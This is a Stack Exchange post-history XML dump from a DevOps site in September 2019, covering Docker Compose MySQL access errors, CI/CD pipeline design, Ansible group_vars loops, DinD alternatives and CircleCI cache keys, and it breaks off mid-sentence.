  <row Id="26974" PostHistoryTypeId="50" PostId="8894" RevisionGUID="c7de156a-1a3c-4449-8903-477be71f5ae8" CreationDate="2019-09-13T13:02:35.287" UserId="-1" />
  <row Id="26980" PostHistoryTypeId="2" PostId="9164" RevisionGUID="9442658f-ddfa-4fb9-b909-42024f5a4ef5" CreationDate="2019-09-13T14:15:40.730" UserId="6356" Text="OK, as usual the error was between the keyboard and the screen... I did use the &quot;try again&quot; button on the jobs list, which, of course was making use of the same commit, and therefore the changed made to the script were not taken into account ..." ContentLicense="CC BY-SA 4.0" />
  <row Id="26985" PostHistoryTypeId="5" PostId="8894" RevisionGUID="0a60eb90-ab8d-446b-80d8-1750c07cd51c" CreationDate="2019-09-13T16:03:00.850" UserId="354" Comment="Clean up the grammar" Text="I have web-app with PHP and database in docker-compose file:&#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;    version: '2'&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      default:&#xD;&#xA;        driver: bridge&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;      yii2-app:&#xD;&#xA;        build:&#xD;&#xA;          context: ./web&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;        depends_on:&#xD;&#xA;          - yii2-db&#xD;&#xA;          - queue&#xD;&#xA;        environment:&#xD;&#xA;          DB_NAME: ${WEB_DB_NAME}&#xD;&#xA;          DB_USERNAME: ${WEB_DB_USERNAME}&#xD;&#xA;          DB_PASSWORD: ${WEB_DB_PASSWORD}&#xD;&#xA;&#xD;&#xA;      yii2-db:&#xD;&#xA;        image: mysql:5.7.16&#xD;&#xA;        command: --default-authentication-plugin=mysql_native_password&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;        expose:&#xD;&#xA;          - &quot;3306&quot;&#xD;&#xA;        environment:&#xD;&#xA;          MYSQL_ROOT_PASSWORD: ${WEB_DB_PASSWORD}&#xD;&#xA;          MYSQL_DATABASE: ${WEB_DB_NAME}&#xD;&#xA;        volumes:&#xD;&#xA;          - &quot;./web/db:/var/lib/mysql&quot;&#xD;&#xA;      ...&#xD;&#xA;&#xD;&#xA;When I start services via `docker-compose up` my PHP-app makes db migrations. But this error occured in database connection:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    Exception 'yii\db\Exception' with message 'SQLSTATE[HY000] [1045] Access denied for user 'root'@'172.21.0.8' (using password: YES)'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It's strange, because in my PHP-app I use name of db service `yii2-db` and docker by itself to define the correct IP.&#xD;&#xA;&#xD;&#xA;I connect to my PHP-app container via &#xD;&#xA;&#xD;&#xA;    docker exec -it passportrecognition_yii2-app_1 bash&#xD;&#xA;&#xD;&#xA;and check mysql connection via mysql-client&#xD;&#xA;&#xD;&#xA;    mysql -h yii2-db -u root -p&#xD;&#xA;    ERROR 1045 (28000): Access denied for user 'root'@'172.21.0.8' (using password: YES)&#xD;&#xA;&#xD;&#xA;But `172.21.0.8` is not the IP of my db, it's the IP of my PHP-app. That is PHP-app make db-connect to itself.&#xD;&#xA;&#xD;&#xA;Database IP is `172.21.0.4` as shown with this `ping` command:&#xD;&#xA;&#xD;&#xA;    ping yii2-db&#xD;&#xA;    PING yii2-db (172.21.0.4): 56 data bytes&#xD;&#xA;    64 bytes from 172.21.0.4: seq=0 ttl=64 time=0.145 ms&#xD;&#xA;&#xD;&#xA;And another strange moment: when I connect directly on database IP `172.21.0.4`, the following error occurs:&#xD;&#xA;&#xD;&#xA;    bash-4.4# mysql -h 172.21.0.4 -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 1045 (28000): Access denied for user 'root'@'172.21.0.8' (using password: YES)&#xD;&#xA;&#xD;&#xA;Why can't I connect to my database? Why does Docker define an invalid IP for the db service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26986" PostHistoryTypeId="24" PostId="8894" RevisionGUID="0a60eb90-ab8d-446b-80d8-1750c07cd51c" CreationDate="2019-09-13T16:03:00.850" Comment="Proposed by 354 approved by -1 edit id of 1069" ContentLicense="CC BY-SA 4.0" />
  <row Id="26987" PostHistoryTypeId="4" PostId="8894" RevisionGUID="742d63a7-971a-4de0-bf58-b52aa3f0c015" CreationDate="2019-09-13T16:03:00.850" UserId="40" Comment="edited title" Text="Why does Docker define invalid IP address of service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26988" PostHistoryTypeId="5" PostId="8896" RevisionGUID="1e42fed4-e681-4704-a5b7-d95a17c058ac" CreationDate="2019-09-13T16:03:37.653" UserId="354" Comment="Reworded to improve the grammar" Text="Ok, I have found the reason:&#xD;&#xA;&#xD;&#xA;I tested starting the services with different environment variables for db. And after that I shut the services down, changed the db name, username and password, and started the services again. &#xD;&#xA;&#xD;&#xA;BUT I forgot that db folder `/var/lib/mysql` is mounted in a volume, and it remembered my previous data; everything was mixed up. So it's not problem in network, it's mixed data in mysql (different passwords for the same user)." ContentLicense="CC BY-SA 4.0" />
  <row Id="26989" PostHistoryTypeId="24" PostId="8896" RevisionGUID="1e42fed4-e681-4704-a5b7-d95a17c058ac" CreationDate="2019-09-13T16:03:37.653" Comment="Proposed by 354 approved by -1 edit id of 1068" ContentLicense="CC BY-SA 4.0" />
  <row Id="26990" PostHistoryTypeId="5" PostId="8896" RevisionGUID="a4dbbda9-0d14-443c-a1bb-81645de97c63" CreationDate="2019-09-13T16:03:37.653" UserId="40" Comment="edited body" Text="Ok, I have found the reason:&#xD;&#xA;&#xD;&#xA;I tested starting the services with different environment variables for db. And after that I shut the services down, changed the db name, username and password, and started the services again. &#xD;&#xA;&#xD;&#xA;But I forgot that db folder `/var/lib/mysql` is mounted in a volume, and it remembered my previous data; everything was mixed up. So it's not problem in network, it's mixed data in mysql (different passwords for the same user)." ContentLicense="CC BY-SA 4.0" />
  <row Id="26992" PostHistoryTypeId="33" PostId="9147" RevisionGUID="e96fe237-f78d-4eb6-ab6d-5518d0a8fed4" CreationDate="2019-09-13T16:33:05.577" UserId="12089" Comment="42" />
  <row Id="26993" PostHistoryTypeId="2" PostId="9167" RevisionGUID="3ff2dd9f-1335-4df8-8451-5692ad534e80" CreationDate="2019-09-13T18:10:04.737" UserId="16893" Text="I started a project with a small team (3 people ) and we had to hack a lot and built a big application with no unit tests, relying only on manual. Now we have a huge technical debt and we started implementing CI/CD. Our goal is to start doing cypress tests everywhere, then some unit tests and refactoring the code as well as implementing static analysis tools on the Ci/CD pipeline:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/nfGhw.png&#xD;&#xA;&#xD;&#xA;Our idea is that we will not have any local environment but just server-based. So developer push code to Gitlab, Gitlab runner in Digital Ocean push the repository to staging server, Developer debugs in Digital Ocean using Local Cypress Runner and his own modifications, if he breaks something or forgets to do a full regression test a command-line test regression runner is triggered BEFORE the second deployment so it doesn't allow the code to pass to the deployment/production server.&#xD;&#xA;&#xD;&#xA;Questions&#xD;&#xA;1: do we need to separate deployment environment from staging in 2 droplets? can we achieve this configuration without major headaches in the same droplet?&#xD;&#xA;&#xD;&#xA;2: do we need to use docker? if not how it should be done&#xD;&#xA;&#xD;&#xA;3: what setup can we do to reduce manual work? our problem is not needing approvals but automating as much as we can since we don't have IT/DevOps guy and neither QA.&#xD;&#xA;&#xD;&#xA;Note: the first stage is to implement full regression, the second stage is to implement code quality tools (static analyzers) such as sonarqube, phpStan, etc.&#xD;&#xA;&#xD;&#xA;Stack: LAMP stack with PHP Codeigniter and vanilla JS." ContentLicense="CC BY-SA 4.0" />
  <row Id="26994" PostHistoryTypeId="1" PostId="9167" RevisionGUID="3ff2dd9f-1335-4df8-8451-5692ad534e80" CreationDate="2019-09-13T18:10:04.737" UserId="16893" Text="Best way to create a Ci/CD pipeline to reduce bugs and facilitate refactor" ContentLicense="CC BY-SA 4.0" />
  <row Id="26995" PostHistoryTypeId="3" PostId="9167" RevisionGUID="3ff2dd9f-1335-4df8-8451-5692ad534e80" CreationDate="2019-09-13T18:10:04.737" UserId="16893" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;cicd&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26996" PostHistoryTypeId="50" PostId="8901" RevisionGUID="23ec7472-3f65-413c-9f20-f93645cf6f4a" CreationDate="2019-09-13T19:02:05.280" UserId="-1" />
  <row Id="26997" PostHistoryTypeId="2" PostId="9168" RevisionGUID="e37851ed-7eaf-4d31-955d-c49dd7ce4321" CreationDate="2019-09-13T21:35:20.527" UserId="17072" Text="Is it possible to do something like this:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;# inventories/inventory1/group_vars/group1&#xD;&#xA;&#xD;&#xA;filewatches:&#xD;&#xA;    {% for host in groups['group2'] %}&#xD;&#xA;    - type: &quot;copy&quot;&#xD;&#xA;      directory_name: &quot;{{ host }}&quot;&#xD;&#xA;      shell_script: &quot;{{ script_dir }}/ascript.sh&quot;&#xD;&#xA;     {endfor %}&#xD;&#xA;    - type: &quot;anotherone&quot;&#xD;&#xA;      ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;# inventories/inventory1/hosts&#xD;&#xA;&#xD;&#xA;[group1]&#xD;&#xA;somemachine01&#xD;&#xA;&#xD;&#xA;[group2]&#xD;&#xA;machine1&#xD;&#xA;machine2&#xD;&#xA;machine3&#xD;&#xA;...&#xD;&#xA;```&#xD;&#xA;Basically, I want to generate a bunch configuration that is similar except for just one variable (in this case the directory_name variable). I would rather do this than making 20+ different entries which all differ by JUST the directory_name variable.&#xD;&#xA;&#xD;&#xA;I did not include the playbook or roles information for the sake of clarity/terseness. I hope I was clear enough and gave enough context, and I appreciate any help.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26998" PostHistoryTypeId="1" PostId="9168" RevisionGUID="e37851ed-7eaf-4d31-955d-c49dd7ce4321" CreationDate="2019-09-13T21:35:20.527" UserId="17072" Text="Looping through hosts from an inventory group in a group_vars file" ContentLicense="CC BY-SA 4.0" />
  <row Id="26999" PostHistoryTypeId="3" PostId="9168" RevisionGUID="e37851ed-7eaf-4d31-955d-c49dd7ce4321" CreationDate="2019-09-13T21:35:20.527" UserId="17072" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27002" PostHistoryTypeId="2" PostId="9169" RevisionGUID="32871c43-d987-44a9-b300-74fc717d0abe" CreationDate="2019-09-14T03:32:14.667" UserId="7715" Text="Yes. It is possible to create a YAML data structure with Jinja and read the variable in with the filter [from_yaml](https://docs.ansible.com/ansible/latest/user_guide/playbooks_filters.html#filters-for-formatting-data).&#xD;&#xA;&#xD;&#xA;The play&#xD;&#xA;&#xD;&#xA;    - hosts: group1&#xD;&#xA;      vars:&#xD;&#xA;        script_dir: /tmp&#xD;&#xA;      tasks:&#xD;&#xA;        - debug:&#xD;&#xA;            var: filewatches&#xD;&#xA;&#xD;&#xA;with the group_vars&#xD;&#xA;&#xD;&#xA;    $ cat group_vars/group1.yml &#xD;&#xA;    filewatches: &quot;{{ filewatches_var|from_yaml }}&quot;&#xD;&#xA;    filewatches_var: |&#xD;&#xA;        {% for host in groups['worker'] %}&#xD;&#xA;        - type: &quot;copy&quot;&#xD;&#xA;          directory_name: &quot;{{ host }}&quot;&#xD;&#xA;          shell_script: &quot;{{ script_dir }}/ascript.sh&quot;&#xD;&#xA;        {% endfor %}&#xD;&#xA;&#xD;&#xA;and with the inventory&#xD;&#xA;&#xD;&#xA;    $ cat hosts&#xD;&#xA;    ...&#xD;&#xA;    group1:&#xD;&#xA;      hosts:&#xD;&#xA;        test_01&#xD;&#xA;    &#xD;&#xA;    group2:&#xD;&#xA;      hosts:&#xD;&#xA;        test_02&#xD;&#xA;        test_03&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;    ok: [test_01] =&gt; {&#xD;&#xA;        &quot;filewatches&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;directory_name&quot;: &quot;test_02&quot;, &#xD;&#xA;                &quot;shell_script&quot;: &quot;/tmp/ascript.sh&quot;, &#xD;&#xA;                &quot;type&quot;: &quot;copy&quot;&#xD;&#xA;            }, &#xD;&#xA;            {&#xD;&#xA;                &quot;directory_name&quot;: &quot;test_03&quot;, &#xD;&#xA;                &quot;shell_script&quot;: &quot;/tmp/ascript.sh&quot;, &#xD;&#xA;                &quot;type&quot;: &quot;copy&quot;&#xD;&#xA;            }&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27003" PostHistoryTypeId="5" PostId="8894" RevisionGUID="c139093f-3f48-44cb-aba0-a1cfd15125c1" CreationDate="2019-09-14T06:43:37.513" UserId="354" Comment="fix formatting" Text="I have web-app with PHP and database in docker-compose file:&#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;    version: '2'&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      default:&#xD;&#xA;        driver: bridge&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;      yii2-app:&#xD;&#xA;        build:&#xD;&#xA;          context: ./web&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;        depends_on:&#xD;&#xA;          - yii2-db&#xD;&#xA;          - queue&#xD;&#xA;        environment:&#xD;&#xA;          DB_NAME: ${WEB_DB_NAME}&#xD;&#xA;          DB_USERNAME: ${WEB_DB_USERNAME}&#xD;&#xA;          DB_PASSWORD: ${WEB_DB_PASSWORD}&#xD;&#xA;&#xD;&#xA;      yii2-db:&#xD;&#xA;        image: mysql:5.7.16&#xD;&#xA;        command: --default-authentication-plugin=mysql_native_password&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;        expose:&#xD;&#xA;          - &quot;3306&quot;&#xD;&#xA;        environment:&#xD;&#xA;          MYSQL_ROOT_PASSWORD: ${WEB_DB_PASSWORD}&#xD;&#xA;          MYSQL_DATABASE: ${WEB_DB_NAME}&#xD;&#xA;        volumes:&#xD;&#xA;          - &quot;./web/db:/var/lib/mysql&quot;&#xD;&#xA;      ...&#xA;```&#xD;&#xA;&#xD;&#xA;When I start services via `docker-compose up` my PHP-app makes db migrations. But this error occured in database connection:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    Exception 'yii\db\Exception' with message 'SQLSTATE[HY000] [1045] Access denied for user 'root'@'172.21.0.8' (using password: YES)'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It's strange, because in my PHP-app I use name of db service `yii2-db` and docker by itself to define the correct IP.&#xD;&#xA;&#xD;&#xA;I connect to my PHP-app container via &#xD;&#xA;&#xA;```&#xD;&#xA;    docker exec -it passportrecognition_yii2-app_1 bash&#xD;&#xA;```&#xA;&#xD;&#xA;and check mysql connection via mysql-client&#xD;&#xA;&#xA;```&#xD;&#xA;    mysql -h yii2-db -u root -p&#xD;&#xA;    ERROR 1045 (28000): Access denied for user 'root'@'172.21.0.8' (using password: YES)&#xD;&#xA;```&#xA;&#xD;&#xA;But `172.21.0.8` is not the IP of my db, it's the IP of my PHP-app. That is PHP-app make db-connect to itself.&#xD;&#xA;&#xD;&#xA;Database IP is `172.21.0.4` as shown with this `ping` command:&#xD;&#xA;&#xD;&#xA;    ping yii2-db&#xD;&#xA;    PING yii2-db (172.21.0.4): 56 data bytes&#xD;&#xA;    64 bytes from 172.21.0.4: seq=0 ttl=64 time=0.145 ms&#xD;&#xA;&#xD;&#xA;And another strange moment: when I connect directly on database IP `172.21.0.4`, the following error occurs:&#xD;&#xA;&#xD;&#xA;    bash-4.4# mysql -h 172.21.0.4 -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 1045 (28000): Access denied for user 'root'@'172.21.0.8' (using password: YES)&#xD;&#xA;&#xD;&#xA;Why can't I connect to my database? Why does Docker define an invalid IP for the db service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27004" PostHistoryTypeId="24" PostId="8894" RevisionGUID="c139093f-3f48-44cb-aba0-a1cfd15125c1" CreationDate="2019-09-14T06:43:37.513" Comment="Proposed by 354 approved by 16505 edit id of 1070" ContentLicense="CC BY-SA 4.0" />
  <row Id="27009" PostHistoryTypeId="10" PostId="5224" RevisionGUID="210e94a5-b76b-4442-afa8-61d69edc62f4" CreationDate="2019-09-14T08:57:37.643" UserId="13" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[742],&quot;Voters&quot;:[{&quot;Id&quot;:10,&quot;DisplayName&quot;:&quot;avi&quot;},{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="27010" PostHistoryTypeId="5" PostId="8894" RevisionGUID="cf92bd79-5254-43ab-9f67-81cbf84ded17" CreationDate="2019-09-14T09:07:51.460" UserId="13" Comment="Use either 4 spaces and html comment to specify the language or 3 backticks, not both as it mess adds extraneous spaces giving invalid yml at end." Text="I have web-app with PHP and database in docker-compose file:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-yml --&gt;&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      default:&#xD;&#xA;        driver: bridge&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;      yii2-app:&#xD;&#xA;        build:&#xD;&#xA;          context: ./web&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;        depends_on:&#xD;&#xA;          - yii2-db&#xD;&#xA;          - queue&#xD;&#xA;        environment:&#xD;&#xA;          DB_NAME: ${WEB_DB_NAME}&#xD;&#xA;          DB_USERNAME: ${WEB_DB_USERNAME}&#xD;&#xA;          DB_PASSWORD: ${WEB_DB_PASSWORD}&#xD;&#xA;&#xD;&#xA;      yii2-db:&#xD;&#xA;        image: mysql:5.7.16&#xD;&#xA;        command: --default-authentication-plugin=mysql_native_password&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;        expose:&#xD;&#xA;          - &quot;3306&quot;&#xD;&#xA;        environment:&#xD;&#xA;          MYSQL_ROOT_PASSWORD: ${WEB_DB_PASSWORD}&#xD;&#xA;          MYSQL_DATABASE: ${WEB_DB_NAME}&#xD;&#xA;        volumes:&#xD;&#xA;          - &quot;./web/db:/var/lib/mysql&quot;&#xD;&#xA;      ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When I start services via `docker-compose up` my PHP-app makes db migrations. But this error occured in database connection:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Exception 'yii\db\Exception' with message 'SQLSTATE[HY000] [1045] Access denied for user 'root'@'172.21.0.8' (using password: YES)'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It's strange, because in my PHP-app I use name of db service `yii2-db` and docker by itself to define the correct IP.&#xD;&#xA;&#xD;&#xA;I connect to my PHP-app container via &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker exec -it passportrecognition_yii2-app_1 bash&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and check mysql connection via mysql-client&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    mysql -h yii2-db -u root -p&#xD;&#xA;    ERROR 1045 (28000): Access denied for user 'root'@'172.21.0.8' (using password: YES)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But `172.21.0.8` is not the IP of my db, it's the IP of my PHP-app. That is PHP-app make db-connect to itself.&#xD;&#xA;&#xD;&#xA;Database IP is `172.21.0.4` as shown with this `ping` command:&#xD;&#xA;&#xD;&#xA;    ping yii2-db&#xD;&#xA;    PING yii2-db (172.21.0.4): 56 data bytes&#xD;&#xA;    64 bytes from 172.21.0.4: seq=0 ttl=64 time=0.145 ms&#xD;&#xA;&#xD;&#xA;And another strange moment: when I connect directly on database IP `172.21.0.4`, the following error occurs:&#xD;&#xA;&#xD;&#xA;    bash-4.4# mysql -h 172.21.0.4 -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 1045 (28000): Access denied for user 'root'@'172.21.0.8' (using password: YES)&#xD;&#xA;&#xD;&#xA;Why can't I connect to my database? Why does Docker define an invalid IP for the db service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27012" PostHistoryTypeId="2" PostId="9171" RevisionGUID="84dc435d-96af-48b3-b651-96b55e9a2767" CreationDate="2019-09-14T10:08:40.260" UserId="4637" Text="&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Found the answer [here][1]&#xD;&#xA;&#xD;&#xA;Just add `--network=host` to `docker build` or `docker run`.&#xD;&#xA;&#xD;&#xA;     docker build --network=host foo/bar:latest .&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/awslabs/amazon-eks-ami/issues/183#issuecomment-463687956&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27013" PostHistoryTypeId="50" PostId="6881" RevisionGUID="271d7b09-973a-4521-b996-b375e1d61306" CreationDate="2019-09-14T14:03:05.463" UserId="-1" />
  <row Id="27014" PostHistoryTypeId="2" PostId="9172" RevisionGUID="3bfe2d61-256c-4971-bf5e-9f626dcacf8d" CreationDate="2019-09-14T15:47:32.603" UserId="47" Text="It might not be obvious now, but usually as projects advance full regression costs (resources/time) grow much faster than static analysis ones. &#xD;&#xA;&#xD;&#xA;You'll also find that static analysis alone isn't a sufficiently solid bug gate, it must be complemented with regression testing as well.&#xD;&#xA;&#xD;&#xA;So I'd place the full regression **after** the static analysis in the CI/CD pipeline - I wouldn't want to waste full regression costs on code which doesn't even pass static analysis.&#xD;&#xA;&#xD;&#xA;Down the road you'll probably find that running full regression and/or full static analysis in earlier pipeline stages can easily become bottlenecks:&#xD;&#xA;&#xD;&#xA;- if you block other commits while waiting for the run results you'd slow down the commit rate&#xD;&#xA;- if you allow other commits while a run is in progress they'll change the repository context potentially invalidating the earlier run results (for example you can't immediately fix a runtime bug uncovered by the run if the subsequent commit that happened in the meantime causes a build time breakage).&#xD;&#xA;&#xD;&#xA;Addressing these bottlenecks usually means splitting such runs across 2 major  functional stages (each one can actually consist of multiple sub-stages and/or steps):&#xD;&#xA;&#xD;&#xA;- the **(pre-)integration** stage(s), which execute **subsets** of these runs in the earlier pipeline stages:&#xD;&#xA;&#xD;&#xA;  - shorter - to maintaining a sufficiently high commit rate and avoiding bottlenecks&#xD;&#xA;  - the target quality level is below deployment, but high enough to keep development flowing&#xD;&#xA;  - fixing regressions detected in these stages has a high priority. &#xD;&#xA;  - it's possible to use such runs to gate commits/merges in order to **prevent** rather than **detect and fix** regressions, in which case these would actually be **pre-integration** stages&#xD;&#xA;&#xD;&#xA;- the **post-integration** stages, executing the longer/full regression and/or static analysis runs: &#xD;&#xA;&#xD;&#xA;  - the goal here would simply be increasing the quality to deployment levels (i.e. blocking the actual deployment if not met)&#xD;&#xA;  - regressions detected at this stage aren't blocking for development, fixing them is a lower priority&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27015" PostHistoryTypeId="50" PostId="5758" RevisionGUID="d8d70590-3c3a-4387-b880-303cd914d41b" CreationDate="2019-09-14T21:00:34.900" UserId="-1" />
  <row Id="27017" PostHistoryTypeId="50" PostId="5777" RevisionGUID="acddf608-6cdc-45a0-9f06-0af8c0aade2e" CreationDate="2019-09-15T00:01:05.120" UserId="-1" />
  <row Id="27022" PostHistoryTypeId="2" PostId="9174" RevisionGUID="30073efc-7461-44c6-86d9-dbc54cd97c90" CreationDate="2019-09-15T10:24:41.123" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="27023" PostHistoryTypeId="1" PostId="9174" RevisionGUID="30073efc-7461-44c6-86d9-dbc54cd97c90" CreationDate="2019-09-15T10:24:41.123" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="27024" PostHistoryTypeId="2" PostId="9175" RevisionGUID="24782685-1b7b-4aaf-b9fb-e37b9aeefdab" CreationDate="2019-09-15T10:24:41.123" UserId="210" Text="Use this tag if a question is about microk8s." ContentLicense="CC BY-SA 4.0" />
  <row Id="27025" PostHistoryTypeId="1" PostId="9175" RevisionGUID="24782685-1b7b-4aaf-b9fb-e37b9aeefdab" CreationDate="2019-09-15T10:24:41.123" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="27027" PostHistoryTypeId="50" PostId="8906" RevisionGUID="ff82e34a-8ce1-4e09-b9af-04badbc3c84a" CreationDate="2019-09-15T18:02:00.420" UserId="-1" />
  <row Id="27028" PostHistoryTypeId="34" PostId="6633" RevisionGUID="795d72a0-4961-4066-9224-10827850ca1a" CreationDate="2019-09-15T20:50:42.087" UserId="10" Comment="41" />
  <row Id="27029" PostHistoryTypeId="2" PostId="9176" RevisionGUID="00bfbba7-c4ca-4ac2-b914-0170bac1f437" CreationDate="2019-09-15T23:22:21.990" UserId="6579" Text="Have you considered not using DinD? I would look to tools like [Kaniko][1], [Buildah][2], [Img][3], [Umochi][4], [FTL][5], or [Bazel][6].&#xD;&#xA;&#xD;&#xA;Here's a good example from the Jenkins Kubernetes plugin that builds containers without using Docker or DinD.&#xD;&#xA;&#xD;&#xA;https://github.com/jenkinsci/kubernetes-plugin/blob/master/examples/kaniko.groovy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/GoogleContainerTools/kaniko&#xD;&#xA;  [2]: https://github.com/containers/buildah&#xD;&#xA;  [3]: https://github.com/genuinetools/img&#xD;&#xA;  [4]: https://github.com/openSUSE/umoci&#xD;&#xA;  [5]: https://github.com/GoogleCloudPlatform/runtimes-common/tree/master/ftl&#xD;&#xA;  [6]: https://github.com/bazelbuild/rules_docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="27030" PostHistoryTypeId="5" PostId="9176" RevisionGUID="beea3de7-2d60-47c0-8750-0fb241a68b9d" CreationDate="2019-09-15T23:34:39.887" UserId="6579" Comment="added 14 characters in body" Text="Have you considered not using DinD? I would look to tools like [Kaniko][1], [Buildah][2], [Img][3], [Umochi][4], [FTL][5], or [Bazel][6].&#xD;&#xA;&#xD;&#xA;Here's a good example from the Jenkins Kubernetes plugin that builds containers without using Docker or DinD in Kubernetes.&#xD;&#xA;&#xD;&#xA;https://github.com/jenkinsci/kubernetes-plugin/blob/master/examples/kaniko.groovy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/GoogleContainerTools/kaniko&#xD;&#xA;  [2]: https://github.com/containers/buildah&#xD;&#xA;  [3]: https://github.com/genuinetools/img&#xD;&#xA;  [4]: https://github.com/openSUSE/umoci&#xD;&#xA;  [5]: https://github.com/GoogleCloudPlatform/runtimes-common/tree/master/ftl&#xD;&#xA;  [6]: https://github.com/bazelbuild/rules_docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="27031" PostHistoryTypeId="50" PostId="6899" RevisionGUID="4fab9172-7c7b-42ba-8214-4b1d85a57964" CreationDate="2019-09-16T04:04:10.803" UserId="-1" />
  <row Id="27032" PostHistoryTypeId="50" PostId="8919" RevisionGUID="aae1d2d4-0b51-46d7-98c9-3f2ee132bdd7" CreationDate="2019-09-16T05:01:10.147" UserId="-1" />
  <row Id="27033" PostHistoryTypeId="2" PostId="9177" RevisionGUID="0c7200a6-e40f-4489-8263-7104619cb566" CreationDate="2019-09-16T14:12:48.593" UserId="12089" Text="A closer reading of [the documentation about using environment variables in cache keys][1] reveals the issue (emphasis mine):&#xD;&#xA;&#xD;&#xA;&gt; The environment variable variableName (supports any environment variable exported by CircleCI or added to a specific Context—**not any arbitrary environment variable**).&#xD;&#xA;&#xD;&#xA;&quot;exported by CircleCI&quot; seems to mean the list of mostly-`CIRCLE_...`-prefixed variables (documented as &quot;[Built-In Environment Variables][2]&quot;) while (unsupported) &quot;any arbitrary environment variable&quot; includes variables set in an `environment` section in `config.yml`.&#xD;&#xA;&#xD;&#xA;I ended up working around this limitation something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;jobs:&#xD;&#xA;  build:&#xD;&#xA;    docker:&#xD;&#xA;      - image: &quot;nixorg/nix:circleci&quot;&#xD;&#xA;&#xD;&#xA;    environment:&#xD;&#xA;      NIXPKGS_REV: &quot;3c83ad6ac13b67101cc3e2e07781963a010c1624&quot;&#xD;&#xA;&#xD;&#xA;    steps:&#xD;&#xA;      - &quot;run&quot;:&#xD;&#xA;          name: &quot;Prepare For Cache Key&quot;&#xD;&#xA;          command: |&#xD;&#xA;            echo &quot;${NIXPKGS_REV}&quot; &gt; nixpkgs.rev&#xD;&#xA;&#xD;&#xA;      - restore_cache:&#xD;&#xA;          name: &quot;Restore Nix Store Paths&quot;&#xD;&#xA;          keys:&#xD;&#xA;            - paymentserver-nix-store-v1-{{ checksum &quot;nixpkgs.rev&quot; }}&#xD;&#xA;            - paymentserver-nix-store-v1-&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;That is, instead of trying to use the value of `NIXPKGS_REV` from the environment in the cache key, an earlier step writes the value of that environment variable to a file and then the cache key is constructed using the checksum of that file.  Computing file checksums for use in cache keys is well supported so this produces a cache key which is derived from the value of the environment variable.  The key doesn't *contain* the value of the 